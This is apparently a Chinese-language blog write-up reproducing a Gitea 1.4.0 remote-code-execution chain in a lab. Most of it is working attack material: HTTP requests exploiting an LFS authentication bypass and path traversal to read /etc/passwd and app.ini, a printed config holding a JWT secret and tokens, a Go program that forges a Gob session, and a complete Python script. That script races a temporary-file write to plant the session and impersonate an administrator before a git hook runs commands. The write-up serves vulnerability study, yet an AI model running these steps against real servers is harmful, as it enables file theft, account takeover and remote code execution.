gitea_1.4.0_rce复现

复现gitea1.4.0版本的rce

0x01 利用权限漏洞,创建lsf对象

由路由跟rce的url (漏洞出现在这个接口)

1
/vulhub/repo.git/info/lfs/objects

找到 modules/lfs/server.go下的PostHandler函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
func PostHandler(ctx *context.Context) {
if !setting.LFS.StartServer { //如果服务并没有启动,就会返回404
writeStatus(ctx, 404)
return
}

if !MetaMatcher(ctx.Req) { //需要 Accept : application/vnd.git-lfs+json,否则返回400错误
writeStatus(ctx, 400)
return
}

rv := unpack(ctx) //解析发送的json,会从中获得user,repo,oid,authorization这四个参数

repository, err := models.GetRepositoryByOwnerAndName(rv.User, rv.Repo) //获取用户的仓库(根据用户名和仓库名来找,这里没有密码验证)
if err != nil {
log.Debug("Could not find repository: %s/%s - %s", rv.User, rv.Repo, err)
writeStatus(ctx, 404)
return
}

if !authenticate(ctx, repository, rv.Authorization, true) { //密码认证身份的部分放到了这里,就是假如存在一个公有的仓库,但是我没有写权限(所有人都有读权限),这里能绕过身份验证从而获得写权限
requireAuth(ctx) //没有进行return 退出进程,导致虽然没有权限,但是程序会继续运行

}

meta, err := models.NewLFSMetaObject(&models.LFSMetaObject{Oid: rv.Oid, Size: rv.Size, RepositoryID: repository.ID}) //新建一个lfs对象
if err != nil {
writeStatus(ctx, 404)
return
}

ctx.Resp.Header().Set("Content-Type", metaMediaType)

sentStatus := 202
contentStore := &ContentStore{BasePath: setting.LFS.ContentPath}
if meta.Existing && contentStore.Exists(meta) {
sentStatus = 200
}
ctx.Resp.WriteHeader(sentStatus)

enc := json.NewEncoder(ctx.Resp)
enc.Encode(Represent(rv, meta, meta.Existing, true))
logRequest(ctx.Req, sentStatus)
}

权限漏洞问题所在

1
2
3
4
if !authenticate(ctx, repository, rv.Authorization, true) {
requireAuth(ctx)
}
//这里进行权限判断,但是如果没有权限,只会进行requireAuth(),并不会return (退出进程)

所以我们可以通过这个接口在其他人的仓库中来创建lfs对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /gufufu/dd.git/info/lfs/objects HTTP/1.1
Host: main.gufufu.top:10005
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: application/vnd.git-lfs+json
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Connection: close
Content-Type: application/json
Content-Length: 148


{
"Oid" : "....../../../etc/passwd",
"Size" : 1000000,
"User" : "gufufu",
"Password" : "a",
"Repo" : "dd",
"Authorization" : "a"
}

虽然这里返回了401,但是程序继续执行,成功创建了lfs对象

0x02 利用无格式限制的oid进行任意文件读取

创建lsf对象使可以控制其oid,在正常情况下,调用这个接口时,oid应该是一个hash值,但是这里创建接口没有限制oid的格式,从而导致了任意文件读取

1
/gufufu/dd.git/info/lfs/objects
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
func ObjectOidHandler(ctx *context.Context) {

if !setting.LFS.StartServer { //若服务没有启动返回404
writeStatus(ctx, 404)
return
}

if ctx.Req.Method == "GET" || ctx.Req.Method == "HEAD" {
if MetaMatcher(ctx.Req) { //accept头
getMetaHandler(ctx)
return
}
if ContentMatcher(ctx.Req) || len(ctx.Params("filename")) > 0 {
getContentHandler(ctx) //需要让它运行这个
return
}
} else if ctx.Req.Method == "PUT" && ContentMatcher(ctx.Req) {
PutHandler(ctx)
return
}

}

func (s *ContentStore) Get(meta *models.LFSMetaObject, fromByte int64) (io.ReadCloser, error) {
path := filepath.Join(s.BasePath, transformKey(meta.Oid)) //关键,这里将oid进行简单处理后,与path拼接,并作为文件名,

f, err := os.Open(path)
if err != nil {
return nil, err
}
if fromByte > 0 {
_, err = f.Seek(fromByte, os.SEEK_CUR)
}
return f, err
}

func transformKey(key string) string {
if len(key) < 5 {
return key
}

return filepath.Join(key[0:2], key[2:4], key[4:])
}

构造合适的oid,去读/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /gufufu/dd.git/info/lfs/objects HTTP/1.1
Host: main.gufufu.top:10005
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: application/vnd.git-lfs+json
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Connection: close
Content-Type: application/json
Content-Length: 148


{
"Oid" : "....../../../etc/passwd",
"Size" : 1000000,
"User" : "gufufu",
"Password" : "a",
"Repo" : "dd",
"Authorization" : "a"
}
1
2
3
4
5
6
7
8
9
10
GET /gufufu/dd.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth HTTP/1.1
Host: main.gufufu.top:10005
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Connection: close

读取配置文件,构造恶意jwt

该项目的配置文件存在于

1
$GITEA_CUSTOM/conf/app.ini

该变量默认值为/var/lib/gitea/,在当前配置的容器内为/data/gitea

用刚刚的任意文件读取的方式,可以获取到app.ini,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#..../../../data/gitea/conf/app.ini

APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git

[repository]
ROOT = /data/git/repositories

[repository.upload]
TEMP_PATH = /data/gitea/uploads

[server]
APP_DATA_PATH = /data/gitea
SSH_DOMAIN = localhost
HTTP_PORT = 3000
ROOT_URL = http://localhost:3000/
DISABLE_SSH = false
SSH_PORT = 22
DOMAIN = localhost
LFS_START_SERVER = true
LFS_CONTENT_PATH = /data/gitea/lfs
LFS_JWT_SECRET = bJrPRC6FwDR8o1V03y5VP8O9VKlcSOxD_QoEoDiVmfY //非常重要
OFFLINE_MODE = false

[database] //这个地方如果对外开放端口,是可以直接连数据库的
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
SSL_MODE = disable

[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file

[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
DISABLE_GRAVATAR = false
ENABLE_FEDERATED_AVATAR = true

[attachment]
PATH = /data/gitea/attachments

[log]
ROOT_PATH = /data/gitea/log
MODE = file
LEVEL = Info

[security]
INSTALL_LOCK = true
SECRET_KEY = yzukgC0Ajo
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE2MDQzMTI2MDJ9.Qx2bsHt5bqcveoyigNHaYtaJKz30xdJ1nTg4J1qlaO4

[mailer]
ENABLED = false

[service]
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
DISABLE_REGISTRATION = false
ENABLE_CAPTCHA = false
REQUIRE_SIGNIN_VIEW = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.example.org

[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true

在gitea中lfs使用的接口是jwt认证,所以,这里我们就可以用来构造JWT认证,进而获取LFS完整的读写权限

jwt文档:

1
https://godoc.org/github.com/dgrijalva/jwt-go

0x03 利用jwt验证身份,写临时文件

成功构造jwt后就可以通过lfs接口写文件了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
func (s *ContentStore) Put(meta *models.LFSMetaObject, r io.Reader) error {
path := filepath.Join(s.BasePath, transformKey(meta.Oid))
tmpPath := path + ".tmp" //创建临时文件,用完就删,写入内容(request body)

dir := filepath.Dir(path)
if err := os.MkdirAll(dir, 0750); err != nil {
return err
}

file, err := os.OpenFile(tmpPath, os.O_CREATE|os.O_WRONLY|os.O_EXCL, 0640)
if err != nil {
return err
}
defer os.Remove(tmpPath)

hash := sha256.New()
hw := io.MultiWriter(hash, file)

written, err := io.Copy(hw, r)
if err != nil {
file.Close()
return err
}
file.Close()

if written != meta.Size { //lfs的size要为文件内容的大小
return errSizeMismatch
}

shaStr := hex.EncodeToString(hash.Sum(nil))
if shaStr != meta.Oid { //oid 需要为内容的hash值,否则文件被删除
return errHashMismatch
}

return os.Rename(tmpPath, path)
}

这里需要验证oid是否是文件内容的hash值,若不是,则删除临时文件,

但是我们需要控制oid来控制上传的文件位置和文件名,所以结果肯定不是hash值,所以我们只能创建.tmp结尾的临时文件

临时文件在该函数返回时会被删除,就需要条件竞争来维持,我们可以用流式HTTP方法,传入我们需要写入的文件内容,然后挂起HTTP连接。这时候,后端会一直等待我传剩下的字符,在这个时间差内,Put函数是等待在io.Copy那个步骤的,当然也就不会删除临时文件了。

0x04 利用上传的文件伪造Session

gitea使用go-macaron/session这个第三方模块来管理session,默认使用文件作为session存储容器。

  1. session文件名为sid[0]/sid[1]/sid

比如session为hello的文件存放在/data/gitea/Sessions/h/e/hello

  1. 对象被用Gob序列化后存入文件

Gob是Go语言独有的序列化方法。我们可以编写一段Go语言程序,来生成一段Gob编码的session:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package main

import (
"fmt"
"encoding/gob"
"bytes"
"encoding/hex"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}

func main() {
var uid int64 = 1
obj := map[interface{}]interface{} {"_old_uid": "1", "uid": uid, "uname": "vulhub" }
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}

0x05 后续利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import jwt
import time
import base64
import logging
import sys
import json
from urllib.parse import quote


logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)

BASE_URL = 'http://your-ip:3000/vulhub/repo'
JWT_SECRET = 'AzDE6jvaOhh_u30cmkbEqmOdl8h34zOyxfqcieuAu9Y'
USER_ID = 1
REPO_ID = 1
SESSION_ID = 'gufufu123'
SESSION_DATA = bytes.fromhex('0eff81040102ff82000110011000005cff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c08000676756c687562')


def generate_token():
def decode_base64(data):
missing_padding = len(data) % 4
if missing_padding != 0:
data += '='* (4 - missing_padding)
return base64.urlsafe_b64decode(data)

nbf = int(time.time())-(60*60*24*1000)
exp = int(time.time())+(60*60*24*1000)

token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET), algorithm='HS256')
return token.decode()

def gen_data():
yield SESSION_DATA
time.sleep(300)
yield b''


OID = f'....gitea/sessions/{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}'
response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={
'Accept': 'application/vnd.git-lfs+json'
}, json={
"Oid": OID,
"Size": 100000,
"User" : "a",
"Password" : "a",
"Repo" : "a",
"Authorization" : "a"
})
logging.info(response.text)

response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={
'Accept': 'application/vnd.git-lfs',
'Content-Type': 'application/vnd.git-lfs',
'Authorization': f'Bearer {generate_token()}'
})

然后把cookie中的 i_like_gitea的值改成设置的sessionid即可,如这里为gufufu123.tmp,然后带着cookie访问,就会发现自己是要伪造的用户了

0x06 配置githook,实现RCE

在githook中添加一条命令

上传一个文件,到服务器查看,发现命令已执行


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!